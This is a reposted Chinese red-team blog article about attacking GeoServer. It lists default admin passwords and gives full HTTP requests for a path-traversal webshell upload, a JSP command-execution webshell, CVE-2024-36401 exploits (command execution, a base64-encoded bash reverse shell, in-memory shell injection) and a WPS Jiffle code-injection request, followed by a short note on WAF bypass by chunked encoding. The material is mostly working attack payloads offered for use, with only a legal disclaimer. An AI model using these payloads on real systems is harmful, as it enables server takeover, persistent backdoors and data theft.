攻防实战|Geoserver实战记录

admin 2026-05-20 05:01:53 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文档记录了GeoServer攻防实战方法,包括利用默认口令登录后台、通过文件上传获取Webshell、利用CVE-2024-36401漏洞实现前台代码执行及内存马注入,以及WMS接口的远程命令执行漏洞,提供了具体的攻击步骤和Payload示例。 综合评分: 85 文章分类: 渗透测试,漏洞分析,WEB安全,实战经验,红队


cover_image

攻防实战 | Geoserver实战记录

安全艺术 安全艺术

安全艺术

2026年5月13日 08:59 北京

在小说阅读器读本章

去阅读

攻防中关于Geoserver的一些打法记录,师傅们还想看哪些类型或组件的漏洞可以在文末进行留言哈,我后续会持续更新。

1. 默认口令

admin/geoserver
geoserver/geoserver

2. 后台文件上传

登录后台找路径上传文件

/geoserver/rest/workspaces/nurc/coveragestores/mosaic/file. shp?filename=/../../apache-tomcat-9.0.86/webapps/webshel1/2.jsp

上传类型改为文件上传格式

POST /geoserver/rest/workspaces/sec/coveragestores/sec/file.shp?filename=/../../../webapps/webshell/sectest.jsp HTTP/1.1
Host: xxx
Content-Length: 37
Accept: application/xml, text/xml, */*; q=0.01
Wicket-Ajax-BaseURL: wicket/page?15
X-Requested-With: XMLHttpRequest
Wicket-Ajax: true
Wicket-FocusedElementId: id9a
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary9bqTZqzJzgMb6KKQ
Origin: xxx
Referer: xxx/geoserver/web/wicket/page?15
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: JSESSIONID=node0ywbmcmn4li6w1jvo6e8w4oc6954.node0
Connection: keep-alive

<% out.println("sectest04111152")%>

命令执行小马

<% &nbsp; &nbsp;if(request.getParameter("cmd") != null) { &nbsp; &nbsp; &nbsp; &nbsp;java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream(); &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;int a = -1; &nbsp; &nbsp; &nbsp; &nbsp;byte[] b = new byte[2048]; &nbsp; &nbsp; &nbsp; &nbsp;out.print("");
&nbsp; &nbsp; &nbsp; &nbsp; while((a=in.read(b))!=-1) { &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;out.print(new String(b)); &nbsp; &nbsp; &nbsp; &nbsp;} &nbsp; &nbsp; &nbsp; &nbsp;out.print("");
&nbsp; &nbsp; }%>

3. GeoServer属性名表达式前台代码执行漏洞(CVE-2024-36401)

在GeoServer 2.25.1, 2.24.3, 2.23.5版本及以前,未登录的任意用户可以通过构造恶意OGC请求,在默认安装的服务器中执行XPath表达式,进而利用执行Apache Commons Jxpath提供的功能执行任意代码。

3.1. 常规利用

geoserver后台找找数据库连接

直接命令执行

GET /geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=sf:archsites&valueReference=exec(java.lang.Runtime.getRuntime(),'ping -c 1 x.xx.xx') HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Connection: close
Cache-Control: max-age=0

反弹shell

POST /geoserver/wfs HTTP/1.1
Host: 192.168.18.131:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/xml
Content-Length: 356

<wfs:GetPropertyValue service='WFS' version='2.0.0'
&nbsp;xmlns:topp='http://www.openplans.org/topp'
&nbsp;xmlns:fes='http://www.opengis.net/fes/2.0'
&nbsp;xmlns:wfs='http://www.opengis.net/wfs/2.0'>
&nbsp; <wfs:Query typeNames='sf:archsites'/>
&nbsp; <wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'bash -c {echo,xxxxx}|{base64,-d}|{bash,-i}')
</wfs:valueReference>
</wfs:GetPropertyValue>

3.2. 注入内存马

注入内存马

POST /geoserver/wfs HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/xml
Content-Length: 356

<wfs:GetPropertyValue service='WFS' version='2.0.0'
&nbsp;xmlns:topp='http://www.openplans.org/topp'
&nbsp;xmlns:fes='http://www.opengis.net/fes/2.0'
&nbsp;xmlns:wfs='http://www.opengis.net/wfs/2.0'>
&nbsp; <wfs:Query typeNames='sf:archsites'/>
&nbsp; <wfs:valueReference>eval(getEngineByName(javax.script.ScriptEngineManager.new(),'js'),'
var str="内存马base64";
var bt;
try {
&nbsp; &nbsp; bt = java.lang.Class.forName("sun.misc.BASE64Decoder").newInstance().decodeBuffer(str);
} catch (e) {
&nbsp; &nbsp; bt = java.util.Base64.getDecoder().decode(str);
}
var theUnsafe = java.lang.Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
unsafe = theUnsafe.get(null);
unsafe.defineAnonymousClass(java.lang.Class.forName("java.lang.Class"), bt, null).newInstance();
')</wfs:valueReference>
</wfs:GetPropertyValue>
POST /geoserver/wfs

请求头:
Content-Type: application/xml

请求体:
<wfs:GetPropertyValue service='WFS' version='2.0.0'
&nbsp;xmlns:topp='http://www.openplans.org/topp'
&nbsp;xmlns:fes='http://www.opengis.net/fes/2.0'
&nbsp;xmlns:wfs='http://www.opengis.net/wfs/2.0'>
&nbsp; <wfs:Query typeNames='mrxc:ceshidaolu'/>
&nbsp; <wfs:valueReference>eval(getEngineByName(javax.script.ScriptEngineManager.new(),'js'),'
var str="XXXXXXXXXXXXXXXXXXXXXXXXXXX";
var bt;
try {
&nbsp; &nbsp; bt = java.lang.Class.forName("sun.misc.BASE64Decoder").newInstance().decodeBuffer(str);
} catch (e) {
&nbsp; &nbsp; bt = java.util.Base64.getDecoder().decode(str);
}
var theUnsafe = java.lang.Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
unsafe = theUnsafe.get(null);
unsafe.defineAnonymousClass(java.lang.Class.forName("java.lang.Class"), bt, null).newInstance();
')</wfs:valueReference>
</wfs:GetPropertyValue>

4. GeoServer系统wms接口存在远程命令执行漏洞

POST /geoserver/wms HTTP/1.1
Host: xxx
accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: JSESSIONID=B278FC65F48E2AD9ADE16939EBCDE8A0
Connection: close
Content-Type: application/xml
Content-Length: 1971

<?xml version="1.0" encoding="UTF-8"?>
&nbsp; <wps:Execute version="1.0.0" service="WPS" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://www.opengis.net/wps/1.0.0" xmlns:wfs="http://www.opengis.net/wfs" xmlns:wps="http://www.opengis.net/wps/1.0.0" xmlns:ows="http://www.opengis.net/ows/1.1" xmlns:gml="http://www.opengis.net/gml" xmlns:ogc="http://www.opengis.net/ogc" xmlns:wcs="http://www.opengis.net/wcs/1.1.1" xmlns:xlink="http://www.w3.org/1999/xlink" xsi:schemaLocation="http://www.opengis.net/wps/1.0.0 http://schemas.opengis.net/wps/1.0.0/wpsAll.xsd">
&nbsp; &nbsp; <ows:Identifier>ras:Jiffle</ows:Identifier>
&nbsp; &nbsp; <wps:DataInputs>
&nbsp; &nbsp; &nbsp; <wps:Input>
&nbsp; &nbsp; &nbsp; &nbsp; <ows:Identifier>coverage</ows:Identifier>
&nbsp; &nbsp; &nbsp; &nbsp; <wps:Data>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <wps:ComplexData mimeType="application/arcgrid"><![CDATA[ncols 720 nrows 360 xllcorner -180 yllcorner -90 cellsize 0.5 NODATA_value -9999 &nbsp;316]]></wps:ComplexData>
&nbsp; &nbsp; &nbsp; &nbsp; </wps:Data>
&nbsp; &nbsp; &nbsp; </wps:Input>
&nbsp; &nbsp; &nbsp; <wps:Input>
&nbsp; &nbsp; &nbsp; &nbsp; <ows:Identifier>script</ows:Identifier>
&nbsp; &nbsp; &nbsp; &nbsp; <wps:Data>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <wps:LiteralData>dest = y() - (500); // */ public class Double { &nbsp; &nbsp;public static double NaN = 0; &nbsp;static { try { &nbsp;java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("whoami").getInputStream())); String line = null; String allLines = " - "; while ((line = reader.readLine()) != null) { allLines += line; } throw new RuntimeException(allLines);} catch (java.io.IOException e) {} }} /**</wps:LiteralData>
&nbsp; &nbsp; &nbsp; &nbsp; </wps:Data>
&nbsp; &nbsp; &nbsp; </wps:Input>
&nbsp; &nbsp; &nbsp; <wps:Input>
&nbsp; &nbsp; &nbsp; &nbsp; <ows:Identifier>outputType</ows:Identifier>
&nbsp; &nbsp; &nbsp; &nbsp; <wps:Data>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <wps:LiteralData>DOUBLE</wps:LiteralData>
&nbsp; &nbsp; &nbsp; &nbsp; </wps:Data>
&nbsp; &nbsp; &nbsp; </wps:Input>
&nbsp; &nbsp; </wps:DataInputs>
&nbsp; &nbsp; <wps:ResponseForm>
&nbsp; &nbsp; &nbsp; <wps:RawDataOutput mimeType="image/tiff">
&nbsp; &nbsp; &nbsp; &nbsp; <ows:Identifier>result</ows:Identifier>
&nbsp; &nbsp; &nbsp; </wps:RawDataOutput>
&nbsp; &nbsp; </wps:ResponseForm>
&nbsp; </wps:Execute>

5. 实战WAF绕过

5.1. 分块传输

POC直接打被reset。

确认中间件类型,修改请求方式,服务器报错,返回tomcat信息。

echo马。

Knife的分块传输可以成功。

Chunked coding converter 插件

6. dd2扫描输出

想进圈子的师傅们请回复”dddd”获取联系方式,无意勿扰哈,谢谢。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:安全艺术 安全艺术 安全艺术《攻防实战 | Geoserver实战记录》

评论:0   参与:  0